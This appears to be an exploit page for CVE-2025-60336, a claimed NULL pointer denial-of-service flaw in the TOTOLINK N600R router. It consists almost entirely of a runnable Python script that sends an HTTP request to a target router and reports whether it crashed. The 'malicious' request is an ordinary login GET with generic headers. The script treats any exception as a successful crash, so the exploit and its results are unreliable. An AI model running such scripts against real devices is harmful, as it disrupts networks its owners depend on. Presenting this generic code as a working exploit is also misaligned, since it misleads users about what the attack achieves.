CVE-2025-60336 TOTOLINK N600R路由器NULL指针解引用拒绝服务漏洞

import socket import struct # CVE-2025-60336 PoC - NULL Pointer Dereference in TOTOLINK N600R # Target: TOTOLINK N600R v4.3.0cu.7866_B20220506 # Attack Type: Denial of Service via crafted HTTP request def create_malicious_http_request(): """ Generate a crafted HTTP request to trigger NULL pointer dereference in sub_41773C function of TOTOLINK N600R firmware """ # Construct malicious HTTP GET request # The specific parameters to trigger the vulnerability path = "/cgi-bin/login.cgi?username=admin&password=admin" http_request = f"GET {path} HTTP/1.1\r\n" http_request += "Host: 192.168.1.1\r\n" http_request += "User-Agent: Mozilla/5.0\r\n" http_request += "Accept: */*\r\n" http_request += "Connection: keep-alive\r\n" http_request += "X-Forwarded-For: 127.0.0.1\r\n" # Add specific headers that may trigger the vulnerable code path http_request += "Content-Type: application/x-www-form-urlencoded\r\n" http_request += "\r\n" return http_request.encode('utf-8') def exploit(target_ip, target_port=80): """ Send crafted HTTP request to trigger DoS """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Send malicious request payload = create_malicious_http_request() sock.send(payload) print(f"[*] Malicious request sent to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") # Check if target is still responsive sock.send(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n") response = sock.recv(1024) if not response: print("[+] Target appears to be down - DoS successful") return True else: print("[-] Target still responsive") return False except Exception as e: print(f"[+] Exception occurred: {e}") print("[+] Target may have crashed") return True finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] CVE-2025-60336 PoC - TOTOLINK N600R NULL Pointer Dereference") print(f"[*] Target: {target}:{port}") exploit(target, port)